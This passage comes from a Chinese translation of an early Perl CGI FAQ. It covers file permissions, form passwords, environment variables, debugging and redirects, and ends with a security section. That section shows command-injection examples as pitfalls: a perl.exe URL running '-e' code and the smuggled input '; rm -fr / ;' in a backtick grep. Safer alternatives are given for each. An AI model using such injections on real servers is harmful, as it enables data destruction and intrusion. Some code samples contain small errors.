程式吗?如果是这样的话,那不就让他们知道
我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?
如果您将您的 server 设成对所有在一个特定目录(如
cgi-bin)下的档案,或
者是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以
CGI
程式看待,那麽 server 只会执行这些程式。至於使用者是无法看到
script
本身的内容的。
但是如果您允许人们看您的 script (譬如把它放到 HTML
文件的根目录下),
那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如果这个程
式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可乘,
进而利用这个弱点。
【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个
主题相关的一 个常问问题是:
Q: 我的 Perl CGI scripts
必须将权限设为全世界可读。可是这样一
来,和我同
机器有帐户的人,只要知道我的程式名称,就可以浏览我
的 Perl 程式的内容;尤 其当其中牵涉到密码的问题时。
A: 至少有两个解决方法,一个简单,一个复杂:
简单的方法是,请您的系统管理者(如果不是您自己的话),将您的
CGI scripts 及密码档(如果您选择将密码存放在另一个档案中的
话)的所有者设成 Web server 跑的使用者(最常见的是使用者
nobody ;使用群 nogroup 或 nobody), 然後将 CGI scripts
的使
用权限设定成 550 (-r-xr-x---),密码档的权限设成 440
(-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机
器上的 使用者也没有办法偷看到您的程式和密码。
比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後
再使用 Filter::decrypt 这个模组在临执行前将其解开,在此不多
说。有兴趣的读者请看 Filter::decrypt 的使用说明;此外新的
perl FAQ 第三部分中这一段:``How can I hide the source for
my
Perl program?'' ,大家也可参考。
----------------------------------------------------------------------
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗?
不需要。您的 CGI scripts 可以使用 server
和文件根目录之外的任何档案,
除非 server 是在一个 chroot 的环境下执行。
----------------------------------------------------------------------
Q4.10:
我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有
一个 TYPE="password" 不是就是拿来做这个的吗?
No! form 的介面中有一个 ``password''
的栏位,但是您不应该拿它来处理任
何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括
``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至
server。
如果您想要安全地传送资料,那麽您需要使用具有安全功能的
server,例如
Netscape 的 Commerce Server
(<http://home.netscape.com/comprod/products/iapps/platform.html>)*。
【译者】Apache SSL ,例如 Stronghold 版
(<http://stronghold.c2.net>),同样具有这个功能。
----------------------------------------------------------------------
Q4.11: 我要如何产生专门替 Netscape
设计的网页,以别於世上其他的浏览
器?
您可以透过 HTTP_USER_AGENT 这个环境变数在您的 CGI script
中得知是否
Netscape 正在执行您的 script。以下为一例:
$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ /Mozilla/) {
#
# Netscape
#
} else {
#
# Non Netscape
#
}
----------------------------------------------------------------------
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?
这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要
让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将
buffering
的特性关掉。
----------------------------------------------------------------------
Q4.13: 我听说 Netscape 会支援 Java*。这是不是说我现在得弃
Perl,改
Java 了?是不是该这麽做?
【译者】原 FAQ 已有相当一段时间未更新。这句话现在应该改作
「Netscape 和 IE 两大浏览器都已支援 Java」。
不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server
端执行,而
Java则是在 client 端执行。有些东西(如动画)可藉由使用 Java
而得到较好
的效果。但您可继续使用 perl 来发展 server 端的应用程式。
如果您需要有关 Java 进一步的资料,底下列了几个文件您可以去看看*:
* 升阳公司的 Java 文件 (<http://java.sun.com>)
* Tom C.所写的 Java uber Alles(Java 的种种)
* Java, the Illusion(Java 幻像)
【译者】後面这两篇文章对 Java 及这个热潮作了很严厉的批判。本
FAQ 作者 Tom C. 的 Java uber Alles 中的论点主要著重於技术层
面。Tom 对 Java 的态度或许代表了不少 Perl 阵营人仕的心声。
----------------------------------------------------------------------
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样?
您可以透过 %ENV 这个关连阵列来读取环境变数。以下这个简单的 script
会把
所有的环境变数印出来(排好顺序):
#!/usr/local/bin/perl -w
print "Content-type: text/plain", "\n\n";
foreach $key (sort keys %ENV) {
print $key, " = ", $ENV{$key}, "\n";
}
exit 0;
很不幸的,有些环境变数会被某些浏览器忽略掉。譬如,有些浏览器就不设定
HTTP_REFERER。
----------------------------------------------------------------------
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)?
如果您送的 MIME 类型是 HTML 的话,您必须「跳脱」 (escape)
某些符号,
如 ``<''、``&anp;'',及 ``>'',否则浏览器会以为它是 HTML
【标签】。
您必须使用以下格式来跳脱特殊字元:
&#ASCII 代码;
您可以在指令列执行这个简单的 script,便可得到非字母数字性字元
(non
alpha-numeric characters) 所对应的 ASCII 码:
#!/usr/local/bin/perl -w
print '请输入字串: ';
chop($string = <STDIN>);
$string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge;
print '跳脱过的字串是: ', "$string\n";
exit 0;
----------------------------------------------------------------------
Q4.16: 为什麽我的Perl CGI
程式可以由指令列,却无法从浏览器去执行?
最可能的原因是权限的问题。别忘了,您的 server 可能是以
``nobody''、
``www'',或其他权限很低的帐户身份来执行的。因此,除非它有足够的权限,
否则是无法执行您的 script 的。
----------------------------------------------------------------------
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中?
这又是权限在作怪!server
除非有足够的权限否则是无法将资料写进某目录下
的某档案里去的。
您应该养成习惯检查 open 指令递回的错误状态 (error status):
print "Content-type: text/plain\n\n";
.
.
.
open(FILE, ">/some/dir/some.file") ||
print '无法写进档案: ', "$!\n";
.
.
.
----------------------------------------------------------------------
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的
form?
您可以用 CGI::MiniSvr 这个 module
来维持【记住】几次不同的连线之间的状
态资料。
或者,您可以制做一系列的动态文件,在彼此之间相互传递一个期间代码
(session ID),此代码可以以询问
(query)、额外路径,或隐藏式栏位等形式存
在*。
【译者】CGI.pm 会替您把这部份(维持状态)做好 (用上述的原理
),故使用 CGI.pm 可自动享受这项功能,不需要自己去做。这又多
了一个该使用 CGI.pm 的理由。
----------------------------------------------------------------------
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错?
CGI 程式不容易除错。您可以藉著手动设定环境变数来模拟 server:
setenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh)
或
export HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash)
要模拟 POST 请求,您可以把资料先放进一个档案里,然後把它 pipe
到您的程
式去:
cat data.file | some_program.pl
或者您可以用 CGI.pm 来帮您除错。假设您有一个像下面这样的
script,它会
把所有您传给它的索引/设定值对应资料 (key/value pairs)
都列印出来。
#!/usr/local/bin/perl -w
use CGI;
$cgi = new CGI;
print $cgi->header;
print $cgi->start_html("Simple CGI.pm Program");
print "<H1>Simple CGI.pm Program</H1>\n";
print "<HR >";
print '以下所列的是您传送的设定值:';
print $cgi->dump;
exit 0;
这个 script 不会在乎您是透过 GET、POST,或 ISINDEX
请求,或者是由指令
列、标准输入,或文字档将资料传送给它。为了方便除错,我们就直接从指令
列传一些资料给它吧:
% simple.cgi first=shishir last=gundavaram document='CGI\
FAQ'
或
% simple.cgi "first=shishir&last=gundavaram&document='CGI\
FAQ'"
在第二个例子中,整个字串周围必须加引号("),否则 shell 看到 ``&''
这个
符号会误解。好,接下来是从标准输入来除错的方法:
% simple.cgi
(waiting for standard input)
first=shishir
last=gundavaram
document=CGI\ FAQ
^D
当然,您也可以先用一个档案来储存资料,然後再做输入转向,像这样:
% simple.cgi < form.data
您也可以用 CGI Lint
(即将出版)。它能达到相同的功效。另外,它也能帮忙
检查有无安全问题,不当使用 open(),以及不正确的 HTTP 标头等。
----------------------------------------------------------------------
Q4.20: 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式?
您可以直接去打开该 CGI 程式的 URL:
http://some.machine/cgi-bin/your_program.pl
您也可以在文件中使用连结的方式,例如:
<A HREF="">http://some.machine/cgi-bin/your_program.pl">
要试试我的CGI程式请在这里点一下
----------------------------------------------------------------------
Q4.21: 要如何避免旁人不先填栏位就执行我的
form?他们为什麽一直不断这麽
做?
这些人栏位完全空白就去执行 form 是因为他们把这个 form 的 URL
储存起来
【储存到书签里面】的关系。当他们下次叫出这个 form
的时候,这个请求就会
变成是一个空的 GET (而非 POST 或填有资料的 GET)。
您可以先检查所有栏位中的资料,如果其中有栏位留白的话,您可以送回一个
``No Content'' 的状态属性*。以下是一例(假设关连阵列 %form
中含有您
form 的资料):
【译者】状态码 204 的属性已由 HTTP 0.9
(<http://www.w3.org/pub/WWW/Protocols/HTTP/HTTP2.html>) 的
``No Response'' 变为 HTTP 1.0
(<ftp://ds.internic.net/rfc/rfc1945.txt>) 和 HTTP 1.1
(<ftp://ds.internic.net/rfc/rfc2068.txt>) 中的 ``No
Content'' 了。
$error = 0;
foreach $value (values %form) {
$value =~ s/\s//g;
$error = 1 unless $value;
}
if ($error) {
print "Content-type: text/plain\n";
print "Status: 204 No Content\n\n";
print '除非您的浏览器不支援状态码 204
,否则您不该看到这部份',
"\n";
} else {
#
# Process Data Here
#
}
----------------------------------------------------------------------
Q4.22: 那些server 回应码 (server response codes)
(<http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html>)是干什麽
用的?有什麽意义?
CGI 程式可以传送 server 然後 server
会把它转送给浏览器。例如:假设您
想送``No Content''
(意思是告诉浏览器不要再重新下载该网页),那麽您得
送一个 204 的回应码(见上例)。
----------------------------------------------------------------------
Q4.23: 为什麽 print "Location: http://host/page.html\n" 不
work?又为
什麽它只 work 一次,但随後的转向就都弄错了呢?
CGI 程式只能送一个 Location 标头。还有,如果您要 server
做转向的动作
您就不该送 MIME 类别。譬如,以下的例子是错误的示范,尽管在有些
servers
上行的通:
#!/usr/local/bin/perl -w
.
.
.
print "Content-type: text/plain\n"
print "Location: http://some.machine/some.doc\n\n"";
----------------------------------------------------------------------
Q4.24: 要如何让 server 在每个 HTML
网页的底部都自动加上一个:「最近更
新日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI
程式
的日期要如何取得?
如果您是透过 CGI
以动态方式来产生您的文件,那麽要插入一个时间标记非常
简单。以下是一例(仅适用於 Perl 5):
$last_updated = localtime;
print '最近更新日期: ',"$last_updated\n";
或者是:
require "ctime.pl";
$last_updated = &ctime(time);
print '最近更新日期: ', "$last_updated\n";
甚至像这样:
chop($date = `/usr/local/bin/date`);
print '最近更新日期: ', "$last_updated\n";
您可以用 SSI 来达到这个效果,像这样:
<--#echo var="LAST_MODIFIED"-->
----------------------------------------------------------------------
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用
shell
就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++
做这类的事不
是好得多吗?那用 C 呢?
每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要
做的是什麽而定。如果您预期正准备写的 CGI
程式每个钟头会有几千几万人次
连去使用,那麽您应该选用 C 或
C++来写。如果您求快的话(指发展所花费的
时间而言),那麽 Perl 是正确的选择!
一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为
shell 在
先天上容易产生安全问题。
----------------------------------------------------------------------
5.0 -安全
----------------------------------------------------------------------
Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C
写的来得安全?
这个问题的答案是: CGI
程式先天上就不安全,不管它是用那个语言写成的*。
【译者□
WWW 及 CGI 操作安全 FAQ
(<)">http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html">)
中问题第 31 对此有深入的探讨。
----------------------------------------------------------------------
Q5.2:我该特别留意哪些安全事项?
绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞:
* open(COMMAND, "/usr/ucb/finger $form_user");
* system("/usr/ucb/finger $form_user");
* @data = `usr/ucb/finger $form_user`;
话虽如此,在上面的第二种写法中,系统安全可藉著改变参数传送的方式而得以
改善。也就是将参数由字串方式传送(shell
会先解译),改为序列方式传
送。
system("/usr/ucb/finger", $form_user);
您同时应该阅读:
* 由 Lincoln Stein 所著,一份很完整的 WWW 及 CGI 操作安全 FAQ
(<http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html>)
* Paul Phillips 所著,CGI 安全 FAQ
(<http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt>)
----------------------------------------------------------------------
Q5.3:为什麽大家都说
http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样很危险?会有多糟?
极度危险!想想看如果我这麽做会发生什麽事:
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
现在您同意了吧?避免这个恶梦发生的方法:
* 将 perl.exe 执行档由 ``cgi-bin'' 移到 server
根目录以外的目录里
去。
* 在 ``cgi-bin'' 里用批次档 (batch) script 来叫出您的 CGI
script。
以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫
``simple.bat'':
@echo off
c:\dos_perl\perl.exe
c:\netscape\ns-home\docs\cgi-bin\simple.pl
现在,您可以做:
<A HREF="/cgi-bin/simple.bat">Click Here
----------------------------------------------------------------------
Q5.4:要如何在程式中安全地使用逆向撇号(backticks,"`",位於键盘左上
角)?这麽做:
@ans = `grep'$user_field' some.file`;
是不是真的不安全?
是的!这非常危险!试想,如果 $user_field 含有这样的内容会有什麽後
果:
; rm -fr / ;
要达到相同的效果,一个比较安全的做法是*:
if (open GREP, "-|") {
@ans = <GREP>;
} else {
exec("/usr/local/bin/grep", $user_field, "some.file")
|| die "Error exec'ing command", "\n";
}
close GREP;
【译者】如果读者对以上 open GREP, "-|"部份的句法有疑问,可
以参阅 perlipc manpages 中 Safe Pipe Opens一节的说明。
----------------------------------------------------------------------
Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞?
不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime)
去评估
这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危险:
foreach $regexp (@all_regexps) {
eval "foreach (\@data) { push(\@matches, \$_) if
m|$regexp|o; }";
}
----------------------------------------------------------------------
-- CGI版主(BM) —— ☆★天水★☆ №↑1.
☆网络世界,你我共行,创出新意,创出未来,创出新世界!★
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
□E-Mail: [email protected] 【Http://ts.in-china.com】
〓I Seek You!ICQ NO. : 25856530 (AOL)
'''''''''''''''''''''''''''''''''''''''''''''''''''''
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.96.86.143]
|
|